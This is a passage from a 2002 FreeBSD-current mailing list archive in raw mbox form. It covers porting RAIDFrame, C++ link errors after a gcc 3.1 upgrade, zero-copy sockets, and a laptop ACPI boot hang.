R>&gt;<BR>&gt; ????????????????????MSN Explorer ?????????? http://explore=
r.msn.com/lccn<BR>&gt; &lt;http://explorer.msn.com/lccn&gt;<BR>&gt;<BR>&g=
t;<BR><BR>&gt; Hi, everybody<BR>&gt;&nbsp;&nbsp; I am transfering the RAI=
DFrame from FreeBSD4.x to Current.<BR>&gt; Now I can config the RAIDFrame=
. I have some problems about 'open'.<BR>&gt; When I configed a raid devic=
e(raid0), I can see the process by 'ps ax'.<BR>&gt;<BR>&gt; #ps ax|grep r=
aid<BR>&gt; 215 ?? DL 0:00.00 (raid)<BR>&gt;<BR>&gt; I am trying to open =
the device again(by the open function), the box is<BR>&gt; panic. So I ca=
n not do anything to&nbsp; the device.<BR>&gt; I am puzzled about that. i=
f open is fail, it should return error. Why panic?<BR>&gt; Have you the s=
imilar problem?<BR>&gt;<BR>&gt; Fatal trap 12: page fault while in kernel=
 mode<BR>&gt;<BR>&gt;<BR>&gt;<BR>&gt; Best Regards<BR>&gt; Ouyang Kai<BR>=
<BR></BLOCKQUOTE></BODY></HTML><br clear=3Dall><hr>=B4=D3=CD=F8=D5=BE=B5=C3=
=B5=BD=B8=FC=B6=E0=D0=C5=CF=A2=A1=A3MSN Explorer =C3=E2=B7=D1=CF=C2=D4=D8=
=A3=BA<a href=3D'http://explorer.msn.com/lccn'>http://explorer.msn.com/lc=
cn</a><br></p>

------=_NextPart_002_0004_01C217B9.386C3780--


------=_NextPart_001_0003_01C217B9.386C3780
Content-Type: text/plain; name="Re.txt"
Content-Disposition: attachment; filename="Re.txt"
Content-Transfer-Encoding: quoted-printable

Dear Scott,
  I am glad to see you. I am working based on your RAIDFrame 2000-06 patc=
h. =20
I know you are so busy. So I am trying to transfer them myself. :)
About RAIDFrame, I have talk about some problems with Oster.
 Let me talk about some work about RAIDFrame.
 This is the first I hack the kernel. so I have a lot of problem about Fr=
eeBSD kernel.:(
 First, I replace the simplelock with mutex, modify many proc parameter t=
o thread and
modify some buf structure to bio structure.
 I think I must compile successfully firstly.:)
 Now, I try to trace those command('raidctl').
 When I excute the 'raidctl -C configfile'. the system is panic. I think =
the ioctl thread parameter
should be hold by rf_Configure, right? But the FreeBSD4.x version did not=
 hold the ioctl proc paramter.
I know little about Gaint. I only know the Gaint is the global mtx var, b=
ut I do not know how to use it.
Could you give me some Gaint usage knowledge or relative articles ?
Hmm... I really want to learn the FreeBSD kernel by this experience. =20

Best Regards
 Ouyang Kai

------=_NextPart_001_0003_01C217B9.386C3780--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  4:18: 2 2002
Delivered-To: freebsd-current@freebsd.org
Received: from corbulon.video-collage.com (corbulon.video-collage.com [64.35.99.179])
	by hub.freebsd.org (Postfix) with ESMTP
	id 7D0BD37B40E; Wed, 19 Jun 2002 04:17:52 -0700 (PDT)
Received: from celsius.virtual-estates.com (aldan.algebra.com [216.254.65.224])
	by corbulon.video-collage.com (8.12.2/8.12.2) with ESMTP id g5JBHni9008190
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=OK);
	Wed, 19 Jun 2002 07:17:50 -0400 (EDT)
	(envelope-from mi+celsius@aldan.algebra.com)
X-Authentication-Warning: corbulon.video-collage.com: Host aldan.algebra.com [216.254.65.224] claimed to be celsius.virtual-estates.com
Content-Type: text/plain;
  charset="koi8-u"
From: Mikhail Teterin <mi+celsius@aldan.algebra.com>
To: jstocker@tzi.de, kde@FreeBSD.org
Subject: Re: C++ troubles continue
Date: Wed, 19 Jun 2002 07:13:44 -0700
User-Agent: KMail/1.4.1
Cc: current@FreeBSD.org
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com> <1024468722.1145.1.camel@twoflower>
In-Reply-To: <1024468722.1145.1.camel@twoflower>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <200206190713.44776.mi+celsius@aldan.algebra.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

÷¦×ÔÏÒÏË 18 þÅÒ×ÅÎØ 2002 11:38 pm, Jan Stocker ÷É ÎÁÐÉÓÁÌÉ:
> Do you have cleaned your /usr/include/g++ directory from old gcc files?

Not until after I sent my e-mail :-) Wouldn't this be worth mentioning in 
UPDATING? BTW, even that seems a not enough. When building koffice-kde3,
fabs() is reported unknown, because math.h is only included ifdef WINDOWS
in KDChartTable.h and I had to manually replace std::floor with floor in
KDChartPainter.cpp

I imagine, Will and -kde got it compiled without this trickery -- what's 
different about my compiler?

	-mi

> Jan
>
> On Wed, 2002-06-19 at 04:12, Charlie Root wrote:
> > Trying to build kdebase3 on the
> > 	FreeBSD 5.0-CURRENT #7: Mon Jun 17 22:46:16 EDT 2002
> >
> > [...]
> > gmake[4]: Nothing to be done for `all-am'.
> > gmake[4]: Leaving directory
> > `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps' gmake[3]:
> > Leaving directory
> > `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps' gmake[3]:
> > Entering directory
> > `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' /bin/sh
> > ../libtool --mode=link --tag=CXX c++  -DNDEBUG -DNO_DEBUG -O2 -O
> > -march=i686 -pipe -fno-exceptions -fno-check-new -DQT_CLEAN_NAMESPACE
> > -DQT_NO_COMPAT -DQT_NO_ASCII_CAST    -o kappfinder -L/opt/lib -pthread 
> > -L/opt/lib -R /opt/lib -R /opt/lib -R /opt/lib -R /opt/lib main.o
> > scanner.o checker.o kappfinder_meta_unload.o  -lkdeui c++ -DNDEBUG
> > -DNO_DEBUG -O2 -O -march=i686 -pipe -fno-exceptions -fno-check-new
> > -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o kappfinder
> > -pthread main.o scanner.o checker.o kappfinder_meta_unload.o  -L/opt/lib
> > /opt/lib/libkdeui.so /opt/lib/libkdecore.so -L/usr/lib
> > /opt/lib/libDCOP.so /opt/lib/libkdefx.so -lqt-mt -lpng -lz -lXext -lX11
> > -lSM -lICE -lXrender -lstdc++ -lm -lgcc -Wl,--rpath -Wl,/opt/lib
> > -Wl,--rpath -Wl,/opt/lib checker.o: In function `checkDesktopFile(QString
> > const&, QString)': checker.o(.text+0x536): undefined reference to `cout'
> > checker.o(.text+0x543): undefined reference to `ostream::operator<<(char
> > const*)' checker.o(.text+0x575): undefined reference to
> > `ostream::operator<<(char const*)' checker.o(.text+0x585): undefined
> > reference to `ostream::operator<<(char const*)' checker.o(.text+0x6f1):
> > undefined reference to `cout'
> > checker.o(.text+0x6fe): undefined reference to `ostream::operator<<(char
> > const*)' checker.o(.text+0x706): undefined reference to `endl(ostream&)'
> > checker.o(.text+0x7e1): undefined reference to `cout'
> > checker.o(.text+0x7ea): undefined reference to `ostream::operator<<(char
> > const*)' checker.o(.text+0x7f2): undefined reference to `endl(ostream&)'
> > gmake[3]: *** [kappfinder] Error 1
> > gmake[3]: Leaving directory
> > `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' gmake[2]: ***
> > [all-recursive] Error 1
> > gmake[2]: Leaving directory
> > `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' gmake[1]: ***
> > [all-recursive] Error 1
> > gmake[1]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1'
> > gmake: *** [all] Error 2
> > *** Error code 2
> >
> > Any clues? The /usr/lib/libstdc++.a has, for example:
> >
> > 00000000 W std::basic_ostream<char, std::char_traits<char> >&
> > std::endl<char, std::char_traits<char> >(std::basic_ostream<char,
> > std::char_traits<char> >&) 00000000 B std::cout
> > 00000000 B std::buf_cout
> >          U std::cout
> >          U std::buf_cout


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  4:42: 2 2002
Delivered-To: freebsd-current@freebsd.org
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.86])
	by hub.freebsd.org (Postfix) with ESMTP
	id 223D337B406; Wed, 19 Jun 2002 04:41:50 -0700 (PDT)
Received: from smtp-relay03-en1.mac.com (smtp-relay03-en1 [10.13.10.222])
	by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g5JBfnST006497;
	Wed, 19 Jun 2002 04:41:49 -0700 (PDT)
Received: from asmtp02.mac.com (asmtp02-qfe3 [10.13.10.66])
	by smtp-relay03-en1.mac.com (8.12.1/8.12.1/1.0) with ESMTP id g5JBfiC7004353;
	Wed, 19 Jun 2002 04:41:44 -0700 (PDT)
Received: from localhost ([66.156.161.175]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15) with ESMTP id GXYB5J00.Q3Q;
          Wed, 19 Jun 2002 04:41:43 -0700 
Date: Wed, 19 Jun 2002 06:41:41 -0500
Subject: Re: [kde-freebsd] Re: C++ troubles continue
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Mime-Version: 1.0 (Apple Message framework v482)
Cc: jstocker@tzi.de, kde@FreeBSD.org, current@FreeBSD.org
To: Mikhail Teterin <mi+celsius@aldan.algebra.com>
From: leimy2k@mac.com
In-Reply-To: <200206190713.44776.mi+celsius@aldan.algebra.com>
Message-Id: <863A231F-8379-11D6-A942-0003937E39E0@mac.com>
Content-Transfer-Encoding: quoted-printable
X-Mailer: Apple Mail (2.482)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Wednesday, June 19, 2002, at 09:13 AM, Mikhail Teterin wrote:

> =F7=A6=D7=D4=CF=D2=CF=CB 18 =FE=C5=D2=D7=C5=CE=D8 2002 11:38 pm, Jan =
Stocker =F7=C9 =CE=C1=D0=C9=D3=C1=CC=C9:
>> Do you have cleaned your /usr/include/g++ directory from old gcc =
files?
>
> Not until after I sent my e-mail :-) Wouldn't this be worth mentioning=20=

> in
> UPDATING?

That's probably not a bad idea since the compiler change is likely to=20
affect many a C++ library.

>  BTW, even that seems a not enough. When building koffice-kde3,
> fabs() is reported unknown, because math.h is only included ifdef=20
> WINDOWS
> in KDChartTable.h and I had to manually replace std::floor with floor =
in
> KDChartPainter.cpp
What about <cmath>?  if so then std::fabs() may exist.

>
> I imagine, Will and -kde got it compiled without this trickery -- =
what's
> different about my compiler?

Did Will really use g++3.1?  Or was he using Current DP1?  Current DP1=20=

is not gcc-3.1 based.

>
> 	-mi
>
>> Jan
>>
>> On Wed, 2002-06-19 at 04:12, Charlie Root wrote:
>>> Trying to build kdebase3 on the
>>> 	FreeBSD 5.0-CURRENT #7: Mon Jun 17 22:46:16 EDT 2002
>>>
>>> [...]
>>> gmake[4]: Nothing to be done for `all-am'.
>>> gmake[4]: Leaving directory
>>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps' =
gmake[3]:
>>> Leaving directory
>>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps' =
gmake[3]:
>>> Entering directory
>>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' /bin/sh
>>> ../libtool --mode=3Dlink --tag=3DCXX c++  -DNDEBUG -DNO_DEBUG -O2 -O
>>> -march=3Di686 -pipe -fno-exceptions -fno-check-new =
-DQT_CLEAN_NAMESPACE
>>> -DQT_NO_COMPAT -DQT_NO_ASCII_CAST    -o kappfinder -L/opt/lib =
-pthread
>>> -L/opt/lib -R /opt/lib -R /opt/lib -R /opt/lib -R /opt/lib main.o
>>> scanner.o checker.o kappfinder_meta_unload.o  -lkdeui c++ -DNDEBUG
>>> -DNO_DEBUG -O2 -O -march=3Di686 -pipe -fno-exceptions -fno-check-new
>>> -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o kappfinder
>>> -pthread main.o scanner.o checker.o kappfinder_meta_unload.o =20
>>> -L/opt/lib
>>> /opt/lib/libkdeui.so /opt/lib/libkdecore.so -L/usr/lib
>>> /opt/lib/libDCOP.so /opt/lib/libkdefx.so -lqt-mt -lpng -lz -lXext=20
>>> -lX11
>>> -lSM -lICE -lXrender -lstdc++ -lm -lgcc -Wl,--rpath -Wl,/opt/lib
>>> -Wl,--rpath -Wl,/opt/lib checker.o: In function=20
>>> `checkDesktopFile(QString
>>> const&, QString)': checker.o(.text+0x536): undefined reference to=20
>>> `cout'
>>> checker.o(.text+0x543): undefined reference to=20
>>> `ostream::operator<<(char
>>> const*)' checker.o(.text+0x575): undefined reference to
>>> `ostream::operator<<(char const*)' checker.o(.text+0x585): undefined
>>> reference to `ostream::operator<<(char const*)'=20
>>> checker.o(.text+0x6f1):
>>> undefined reference to `cout'
>>> checker.o(.text+0x6fe): undefined reference to=20
>>> `ostream::operator<<(char
>>> const*)' checker.o(.text+0x706): undefined reference to=20
>>> `endl(ostream&)'
>>> checker.o(.text+0x7e1): undefined reference to `cout'
>>> checker.o(.text+0x7ea): undefined reference to=20
>>> `ostream::operator<<(char
>>> const*)' checker.o(.text+0x7f2): undefined reference to=20
>>> `endl(ostream&)'
>>> gmake[3]: *** [kappfinder] Error 1
>>> gmake[3]: Leaving directory
>>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' gmake[2]: =
***
>>> [all-recursive] Error 1
>>> gmake[2]: Leaving directory
>>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' gmake[1]: =
***
>>> [all-recursive] Error 1
>>> gmake[1]: Leaving directory=20
>>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1'
>>> gmake: *** [all] Error 2
>>> *** Error code 2
>>>
>>> Any clues? The /usr/lib/libstdc++.a has, for example:
>>>
>>> 00000000 W std::basic_ostream<char, std::char_traits<char> >&
>>> std::endl<char, std::char_traits<char> >(std::basic_ostream<char,
>>> std::char_traits<char> >&) 00000000 B std::cout
>>> 00000000 B std::buf_cout
>>>          U std::cout
>>>          U std::buf_cout
>
> _______________________________________________
> kde-freebsd mailing list
> kde-freebsd@lists.csociety.org
> http://lists.csociety.org/listinfo/kde-freebsd
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  6:55:24 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP
	id 2CDB837B405; Wed, 19 Jun 2002 06:55:21 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 2155D5361; Wed, 19 Jun 2002 15:55:19 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: "Kenneth D. Merry" <ken@kdm.org>
Cc: current@FreeBSD.org, net@FreeBSD.org
Subject: Re: new zero copy sockets snapshot
References: <20020618223635.A98350@panzer.kdm.org>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 19 Jun 2002 15:55:18 +0200
In-Reply-To: <20020618223635.A98350@panzer.kdm.org>
Message-ID: <xzpelf3ida1.fsf@flood.ping.uio.no>
Lines: 10
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

"Kenneth D. Merry" <ken@kdm.org> writes:
> With those fixes, plus several fixes that have gone into -current over the
> past week or so, the zero copy sockets code runs without any WITNESS
> warnings at all now.

Planning to commit soon?

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  7:20:27 2002
Delivered-To: freebsd-current@freebsd.org
Received: from volatile.chemikals.org (cae88-49-048.sc.rr.com [24.88.49.48])
	by hub.freebsd.org (Postfix) with ESMTP id 8B73937B407
	for <current@freebsd.org>; Wed, 19 Jun 2002 07:20:20 -0700 (PDT)
Received: from chemikals.org (www@localhost [127.0.0.1])
	by volatile.chemikals.org (8.12.3/8.12.3) with SMTP id g5JEKJ7B076697;
	Wed, 19 Jun 2002 10:20:19 -0400 (EDT)
	(envelope-from morganw@chemikals.org)
From: Wesley Morgan <morganw@chemikals.org>
Received: from 148.175.49.1
        (SquirrelMail authenticated user morganw)
        by www.chemikals.org with HTTP;
        Wed, 19 Jun 2002 10:20:19 -0400 (EDT)
Message-ID: <54234.148.175.49.1.1024496419.squirrel@www.chemikals.org>
Date: Wed, 19 Jun 2002 10:20:19 -0400 (EDT)
Subject: Re: C++ troubles continue
To: <jstocker@tzi.de>
In-Reply-To: <1024468722.1145.1.camel@twoflower>
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com>
        <1024468722.1145.1.camel@twoflower>
X-Priority: 3
Importance: Normal
X-MSMail-Priority: Normal
Cc: <current@freebsd.org>
X-Mailer: SquirrelMail (version 1.2.6)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

As I said in a previous message, I think we could use a blurb in UPDATING
about removing the old headers prior to an installworld. Also, shouldn't
the OLD C++ library be rolled into a /usr/lib/compat package for 4.x since
upgrading to 5.0 will (should) remove it?
> Do you have cleaned your /usr/include/g++ directory from old gcc files?
>
> Jan
>
> On Wed, 2002-06-19 at 04:12, Charlie Root wrote:
>> Trying to build kdebase3 on the
>> 	FreeBSD 5.0-CURRENT #7: Mon Jun 17 22:46:16 EDT 2002
>>
>> [...]
>> gmake[4]: Nothing to be done for `all-am'.
>> gmake[4]: Leaving directory
>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps' gmake[3]:
>> Leaving directory
>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps' gmake[3]:
>> Entering directory
>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' /bin/sh
>> ../libtool --mode=link --tag=CXX c++  -DNDEBUG -DNO_DEBUG -O2 -O
>> -march=i686 -pipe -fno-exceptions -fno-check-new -DQT_CLEAN_NAMESPACE
>> -DQT_NO_COMPAT -DQT_NO_ASCII_CAST    -o kappfinder -L/opt/lib -pthread
>>  -L/opt/lib -R /opt/lib -R /opt/lib -R /opt/lib -R /opt/lib main.o
>> scanner.o checker.o kappfinder_meta_unload.o  -lkdeui  c++ -DNDEBUG
>> -DNO_DEBUG -O2 -O -march=i686 -pipe -fno-exceptions -fno-check-new
>> -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o kappfinder
>> -pthread main.o scanner.o checker.o kappfinder_meta_unload.o
>> -L/opt/lib /opt/lib/libkdeui.so /opt/lib/libkdecore.so -L/usr/lib
>> /opt/lib/libDCOP.so /opt/lib/libkdefx.so -lqt-mt -lpng -lz -lXext
>> -lX11 -lSM -lICE -lXrender -lstdc++ -lm -lgcc -Wl,--rpath -Wl,/opt/lib
>> -Wl,--rpath -Wl,/opt/lib checker.o: In function
>> `checkDesktopFile(QString const&, QString)': checker.o(.text+0x536):
>> undefined reference to `cout'
>> checker.o(.text+0x543): undefined reference to
>> `ostream::operator<<(char const*)' checker.o(.text+0x575): undefined
>> reference to `ostream::operator<<(char const*)'
>> checker.o(.text+0x585): undefined reference to
>> `ostream::operator<<(char const*)' checker.o(.text+0x6f1): undefined
>> reference to `cout'
>> checker.o(.text+0x6fe): undefined reference to
>> `ostream::operator<<(char const*)' checker.o(.text+0x706): undefined
>> reference to `endl(ostream&)'
>> checker.o(.text+0x7e1): undefined reference to `cout'
>> checker.o(.text+0x7ea): undefined reference to
>> `ostream::operator<<(char const*)' checker.o(.text+0x7f2): undefined
>> reference to `endl(ostream&)'
>> gmake[3]: *** [kappfinder] Error 1
>> gmake[3]: Leaving directory
>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' gmake[2]: ***
>> [all-recursive] Error 1
>> gmake[2]: Leaving directory
>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder' gmake[1]: ***
>> [all-recursive] Error 1
>> gmake[1]: Leaving directory
>> `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1' gmake: *** [all] Error 2
>> *** Error code 2
>>
>> Any clues? The /usr/lib/libstdc++.a has, for example:
>>
>> 00000000 W std::basic_ostream<char, std::char_traits<char> >&
>> std::endl<char, std::char_traits<char> >(std::basic_ostream<char,
>> std::char_traits<char> >&) 00000000 B std::cout
>> 00000000 B std::buf_cout
>>          U std::cout
>>          U std::buf_cout
>>
>> 	-mi
>>
>> To Unsubscribe: send mail to majordomo@FreeBSD.org
>> with "unsubscribe freebsd-current" in the body of the message
>
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  7:49:21 2002
Delivered-To: freebsd-current@freebsd.org
Received: from gibbon.kungfumonkey.com (dsl254-084-020.nyc1.dsl.speakeasy.net [216.254.84.20])
	by hub.freebsd.org (Postfix) with ESMTP id D6F0937B403
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 07:49:15 -0700 (PDT)
Received: (from jolly@localhost)
	by gibbon.kungfumonkey.com (8.11.6/8.11.6) id g5JEUS803542;
	Wed, 19 Jun 2002 10:30:28 -0400
Date: Wed, 19 Jun 2002 10:30:28 -0400
From: Jacob Frelinger <jolly@thecoffinclub.com>
To: Jan Stocker <jstocker@tzi.de>
Cc: Charlie Root <root@aldan.algebra.com>, current@FreeBSD.ORG
Subject: Re: C++ troubles continue
Message-ID: <20020619103028.A3040@thecoffinclub.com>
Mail-Followup-To: Jan Stocker <jstocker@tzi.de>,
	Charlie Root <root@aldan.algebra.com>, current@FreeBSD.ORG
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com> <1024468722.1145.1.camel@twoflower>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1024468722.1145.1.camel@twoflower>; from jstocker@tzi.de on Wed, Jun 19, 2002 at 08:38:41AM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 08:38:41AM +0200, Jan Stocker wrote:
> Do you have cleaned your /usr/include/g++ directory from old gcc files?
> 

whats the sanist way to do that? simply rm all the files in /usr/include/g++ before an installworld?

or are there only a few key files that need to removed?

-- 
Jacob "I'm Brainy For Zombie Pops" Frelinger 
Jolly at TheCoffinClub dot Com 
http://www.thecoffinclub.com 

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  7:53:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rcn.com (207-237-192-7.c3-0.131-ubr1.nyr-131.ny.cable.rcn.com [207.237.192.7])
	by hub.freebsd.org (Postfix) with ESMTP id 6494837B40B
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 07:53:32 -0700 (PDT)
Received: from localhost (romero3000@localhost)
	by rcn.com (8.11.6/8.11.6) with ESMTP id g5JAmZI24816
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 10:48:35 GMT
Date: Wed, 19 Jun 2002 10:48:35 +0000 (UTC)
From: romero3000@rcn.com
To: freebsd-current@freebsd.org
Message-ID: <Pine.LNX.4.44.0206191046160.24805-100000@rcn.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

	

Hi, I have a small question for you guys concerning a laptop installation.  I have been
>trying to install FreeBSD 5.0 on my laptop to so I can work on some 
> stuff at school. It seems to install fine, but then hangs on boot.
>I've tried feeding all sorts of boot parameters.  It freezes at the
>line:
>
>acpi0: <SONY u0 > on motherboard ...
>
>The laptop is a Sony Vaio PCG-FX 120 running on a pentium III with 128
>MB of memory. I looked in the FreeBSD laptop list and it was listed as
>having no problems running FreeBSD.  Do you have any suggestions as to
>what I might try???

Any hints would be greatly appreciated.

Regards,

J. Romero.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  8: 1: 2 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 0D8A537B40C; Wed, 19 Jun 2002 08:00:55 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5JF0kH02081;
	Wed, 19 Jun 2002 09:00:46 -0600 (MDT)
	(envelope-from ken)
Date: Wed, 19 Jun 2002 09:00:46 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: Dag-Erling Smorgrav <des@ofug.org>
Cc: current@FreeBSD.org, net@FreeBSD.org
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020619090046.A2063@panzer.kdm.org>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <xzpelf3ida1.fsf@flood.ping.uio.no>; from des@ofug.org on Wed, Jun 19, 2002 at 03:55:18PM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 15:55:18 +0200, Dag-Erling Smorgrav wrote:
> "Kenneth D. Merry" <ken@kdm.org> writes:
> > With those fixes, plus several fixes that have gone into -current over the
> > past week or so, the zero copy sockets code runs without any WITNESS
> > warnings at all now.
> 
> Planning to commit soon?

That's the plan.  I need to see if any comments come up, and then make sure
I'll be in town for a few days at least to handle any problems that come
up.

Ken
-- 
Kenneth Merry
ken@kdm.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  8:24:49 2002
Delivered-To: freebsd-current@freebsd.org
Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com [192.108.102.143])
	by hub.freebsd.org (Postfix) with ESMTP
	id DDF5437B408; Wed, 19 Jun 2002 08:24:31 -0700 (PDT)
Received: from localhost qhwt@smtp-send.myrealbox.com [61.205.107.122]
	by smtp-send.myrealbox.com with NetMail SMTP Agent $Revision:   3.9  $ on Novell NetWare;
	Wed, 19 Jun 2002 09:24:32 -0600
Date: Thu, 20 Jun 2002 00:25:04 +0900
From: qhwt@myrealbox.com
To: Poul-Henning Kamp <phk@freebsd.org>
Cc: current@freebsd.org
Subject: Re: HEADSUP:  UFS2 patch coming...
